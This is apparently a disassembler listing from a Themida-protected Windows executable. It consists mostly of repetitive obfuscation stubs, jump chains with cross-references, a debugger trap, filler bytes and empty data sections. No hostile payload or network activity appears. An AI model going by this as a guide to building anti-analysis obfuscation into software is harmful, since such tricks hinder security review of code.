cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E50j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E54j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E58j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E5Cj
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E60j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E64j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E68j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E6Cj
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E70j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E74j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E78j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E7Cj
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E80j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E84j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E88j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E8Cj
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E90j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E94j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E98j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607E9Cj
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607EA0j
dec ebx
cmp [ebx-26h], edi ; CODE XREF: Themida_:00607EA4j
dec ebx
movsd
db 66h, 26h ; CODE XREF: Themida_:00607EA8j
jb short near ptr loc_607DF7+2
db 66h, 26h ; CODE XREF: Themida_:00607EACj
jb short near ptr loc_607DFB+2
db 66h, 26h ; CODE XREF: Themida_:00607EB0j
jb short near ptr loc_607DFF+2
db 66h, 26h ; CODE XREF: Themida_:00607EB4j
jb short near ptr loc_607E03+2
db 66h, 26h ; CODE XREF: Themida_:00607EB8j
jb short near ptr loc_607E07+2
db 66h, 26h ; CODE XREF: Themida_:00607EBCj
jb short near ptr loc_607E0B+2
db 66h, 26h ; CODE XREF: Themida_:00607EC0j
jb short near ptr loc_607E0F+2
db 66h, 26h ; CODE XREF: Themida_:00607EC4j
jb short near ptr loc_607E13+2
db 66h, 26h ; CODE XREF: Themida_:00607EC8j
jb short near ptr loc_607E17+2
db 66h, 26h ; CODE XREF: Themida_:00607ECCj
jb short near ptr loc_607E1B+2
db 66h, 26h ; CODE XREF: Themida_:00607ED0j
jb short near ptr loc_607E1F+2
db 66h, 26h ; CODE XREF: Themida_:00607ED4j
jb short near ptr loc_607E23+2
db 66h, 26h ; CODE XREF: Themida_:00607ED8j
jb short near ptr loc_607E27+2
db 66h, 26h ; CODE XREF: Themida_:00607EDCj
jb short near ptr loc_607E2B+2
db 66h, 26h ; CODE XREF: Themida_:00607EE0j
jb short near ptr loc_607E2F+2
db 66h, 26h ; CODE XREF: Themida_:00607EE4j
jb short near ptr loc_607E33+2
db 66h, 26h ; CODE XREF: Themida_:00607EE8j
jb short near ptr loc_607E37+2
db 66h, 26h ; CODE XREF: Themida_:00607EECj
jb short near ptr loc_607E3B+2
db 66h, 26h ; CODE XREF: Themida_:00607EF0j
jb short near ptr loc_607E3F+2
db 66h, 26h ; CODE XREF: Themida_:00607EF4j
jb short near ptr loc_607E43+2
db 66h, 26h ; CODE XREF: Themida_:00607EF8j
jb short near ptr loc_607E47+2
db 66h, 26h ; CODE XREF: Themida_:00607EFCj
jb short near ptr loc_607E4B+2
db 66h, 26h ; CODE XREF: Themida_:00607F00j
jb short near ptr loc_607E50+1
db 66h, 26h ; CODE XREF: Themida_:00607F04j
jb short near ptr loc_607E54+1
db 66h, 26h ; CODE XREF: Themida_:00607F08j
jb short near ptr loc_607E58+1
db 66h, 26h ; CODE XREF: Themida_:00607F0Cj
jb short near ptr loc_607E5C+1
db 66h, 26h ; CODE XREF: Themida_:00607F10j
jb short near ptr loc_607E60+1
db 66h, 26h ; CODE XREF: Themida_:00607F14j
jb short near ptr loc_607E64+1
db 66h, 26h ; CODE XREF: Themida_:00607F18j
jb short near ptr loc_607E68+1
db 66h, 26h ; CODE XREF: Themida_:00607F1Cj
jb short near ptr loc_607E6C+1
db 66h, 26h ; CODE XREF: Themida_:00607F20j
jb short near ptr loc_607E70+1
db 66h, 26h ; CODE XREF: Themida_:00607F24j
jb short near ptr loc_607E74+1
db 66h, 26h ; CODE XREF: Themida_:00607F28j
jb short near ptr loc_607E78+1
db 66h, 26h ; CODE XREF: Themida_:00607F2Cj
jb short near ptr loc_607E7C+1
db 66h, 26h ; CODE XREF: Themida_:00607F30j
jb short near ptr loc_607E80+1
db 66h, 26h ; CODE XREF: Themida_:00607F34j
jb short near ptr loc_607E84+1
db 66h, 26h ; CODE XREF: Themida_:00607F38j
jb short near ptr loc_607E88+1
db 66h, 26h ; CODE XREF: Themida_:00607F3Cj
jb short near ptr loc_607E8C+1
db 66h, 26h ; CODE XREF: Themida_:00607F40j
jb short near ptr loc_607E90+1
db 66h, 26h ; CODE XREF: Themida_:00607F44j
jb short near ptr loc_607E94+1
db 66h, 26h ; CODE XREF: Themida_:00607F48j
jb short near ptr loc_607E98+1
db 66h, 26h ; CODE XREF: Themida_:00607F4Cj
jb short near ptr loc_607E9C+1
db 66h, 26h ; CODE XREF: Themida_:00607F50j
jb short near ptr loc_607EA0+1
db 66h, 26h ; CODE XREF: Themida_:00607F54j
jb short near ptr loc_607EA4+1
db 66h, 26h ; CODE XREF: Themida_:00607F58j
jb short near ptr loc_607EA8+1
db 66h, 26h ; CODE XREF: Themida_:00607F5Cj
jb short near ptr loc_607EAC+1
db 66h, 26h ; CODE XREF: Themida_:00607F60j
jb short near ptr loc_607EB0+1
db 66h, 26h ; CODE XREF: Themida_:00607F64j
jb short near ptr loc_607EB4+1
db 66h, 26h ; CODE XREF: Themida_:00607F68j
jb short near ptr loc_607EB8+1
db 66h, 26h ; CODE XREF: Themida_:00607F6Cj
jb short near ptr loc_607EBC+1
db 66h, 26h ; CODE XREF: Themida_:00607F70j
jb short near ptr loc_607EC0+1
db 66h, 26h ; CODE XREF: Themida_:00607F74j
jb short near ptr loc_607EC4+1
db 66h, 26h ; CODE XREF: Themida_:00607F78j
jb short near ptr loc_607EC8+1
db 66h, 26h ; CODE XREF: Themida_:00607F7Cj
jb short near ptr loc_607ECC+1
db 66h, 26h ; CODE XREF: Themida_:00607F80j
jb short near ptr loc_607ED0+1
db 66h, 26h ; CODE XREF: Themida_:00607F84j
jb short near ptr loc_607ED4+1
db 66h, 26h ; CODE XREF: Themida_:00607F88j
jb short near ptr loc_607ED8+1
db 66h, 26h ; CODE XREF: Themida_:00607F8Cj
jb short near ptr loc_607EDC+1
db 66h, 26h ; CODE XREF: Themida_:00607F90j
jb short near ptr loc_607EE0+1
db 66h, 26h ; CODE XREF: Themida_:00607F94j
jb short near ptr loc_607EE4+1
db 66h, 26h ; CODE XREF: Themida_:00607F98j
jb short near ptr loc_607EE8+1
db 66h, 26h ; CODE XREF: Themida_:00607F9Cj
jb short near ptr loc_607EEC+1
db 66h, 26h ; CODE XREF: Themida_:00607FA0j
jb short near ptr loc_607EF0+1
db 66h, 26h ; CODE XREF: Themida_:00607FA4j
jb short near ptr loc_607EF4+1
db 66h, 26h ; CODE XREF: Themida_:00607FA8j
jb short near ptr loc_607EF8+1
db 66h, 26h ; CODE XREF: Themida_:00607FACj
jb short near ptr loc_607EFC+1
db 66h, 26h ; CODE XREF: Themida_:00607FB0j
jb short near ptr loc_607F00+1
db 66h, 26h ; CODE XREF: Themida_:00607FB4j
jb short near ptr loc_607F04+1
db 66h, 26h ; CODE XREF: Themida_:00607FB8j
jb short near ptr loc_607F08+1
db 66h, 26h ; CODE XREF: Themida_:00607FBCj
jb short near ptr loc_607F0C+1
db 66h, 26h ; CODE XREF: Themida_:00607FC0j
jb short near ptr loc_607F10+1
db 66h, 26h ; CODE XREF: Themida_:00607FC4j
jb short near ptr loc_607F14+1
db 66h, 26h ; CODE XREF: Themida_:00607FC8j
jb short near ptr loc_607F18+1
db 66h, 26h ; CODE XREF: Themida_:00607FCCj
jb short near ptr loc_607F1C+1
db 66h, 26h ; CODE XREF: Themida_:00607FD0j
jb short near ptr loc_607F20+1
db 66h, 26h ; CODE XREF: Themida_:00607FD4j
jb short near ptr loc_607F24+1
db 66h, 26h ; CODE XREF: Themida_:00607FD8j
jb short near ptr loc_607F28+1
db 66h, 26h ; CODE XREF: Themida_:00607FDCj
jb short near ptr loc_607F2C+1
db 66h, 26h ; CODE XREF: Themida_:00607FE0j
jb short near ptr loc_607F30+1
db 66h, 26h ; CODE XREF: Themida_:00607FE4j
jb short near ptr loc_607F34+1
db 66h, 26h ; CODE XREF: Themida_:00607FE8j
jb short near ptr loc_607F38+1
db 66h, 26h ; CODE XREF: Themida_:00607FECj
jb short near ptr loc_607F3C+1
db 66h, 26h ; CODE XREF: Themida_:00607FF0j
jb short near ptr loc_607F40+1
db 66h, 26h ; CODE XREF: Themida_:00607FF4j
jb short near ptr loc_607F44+1
db 66h, 26h ; CODE XREF: Themida_:00607FF8j
jb short near ptr loc_607F48+1
db 66h, 26h ; CODE XREF: Themida_:00607FFCj
jb short near ptr loc_607F4C+1
db 66h, 26h ; CODE XREF: Themida_:00608000j
jb short near ptr loc_607F50+1
db 66h, 26h ; CODE XREF: Themida_:00608004j
jb short near ptr loc_607F54+1
db 66h, 26h ; CODE XREF: Themida_:00608008j
jb short near ptr loc_607F58+1
db 66h, 26h ; CODE XREF: Themida_:0060800Cj
jb short near ptr loc_607F5C+1
db 66h, 26h ; CODE XREF: Themida_:00608010j
jb short near ptr loc_607F60+1
db 66h, 26h ; CODE XREF: Themida_:00608014j
jb short near ptr loc_607F64+1
db 66h, 26h ; CODE XREF: Themida_:00608018j
jb short near ptr loc_607F68+1
db 66h, 26h ; CODE XREF: Themida_:0060801Cj
jb short near ptr loc_607F6C+1
db 66h, 26h ; CODE XREF: Themida_:00608020j
jb short near ptr loc_607F70+1
db 66h, 26h ; CODE XREF: Themida_:00608024j
jb short near ptr loc_607F74+1
db 66h, 26h
jb short near ptr loc_607F78+1
db 66h, 26h
jb short near ptr loc_607F7C+1
db 66h, 26h
jb short near ptr loc_607F80+1
db 66h, 26h
jb short near ptr loc_607F84+1
db 66h, 26h
jb short near ptr loc_607F88+1
db 66h, 26h
jb short near ptr loc_607F8C+1
db 66h, 26h
jb short near ptr loc_607F90+1
db 66h, 26h
jb short near ptr loc_607F94+1
db 66h, 26h
jb short near ptr loc_607F98+1
db 66h, 26h
jb short near ptr loc_607F9C+1
db 66h, 26h
jb short near ptr loc_607FA0+1
db 66h, 26h
jb short near ptr loc_607FA4+1
db 66h, 26h
jb short near ptr loc_607FA8+1
db 66h, 26h
jb short near ptr loc_607FAC+1
db 66h, 26h
jb short near ptr loc_607FB0+1
db 66h, 26h
jb short near ptr loc_607FB4+1
db 66h, 26h
jb short near ptr loc_607FB8+1
db 66h, 26h
jb short near ptr loc_607FBC+1
db 66h, 26h
jb short near ptr loc_607FC0+1
db 66h, 26h
jb short near ptr loc_607FC4+1
db 66h, 26h
jb short near ptr loc_607FC8+1
db 66h, 26h
jb short near ptr loc_607FCC+1
db 66h, 26h
int 3 ; Trap to Debugger
; ---------------------------------------------------------------------------
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'лллллллл',0
align 4
dd 1A77h dup(0)
db 0
byte_610E61 db 3 dup(0) ; DATA XREF: Themida_:00593CB8o
dd 7AFh dup(0)
dword_612D20 dd 0FCBh dup(0) db 2 dup(0)
word_616C4E dw 0 ; DATA XREF: ___:off_444324o
dd 3034h dup(0)
dword_622D20 dd 0B8h dup(0) Themida_ ends
; Section 5. (virtual address 00223000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00223000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 623000h
align 2000h
_idata2 ends
end start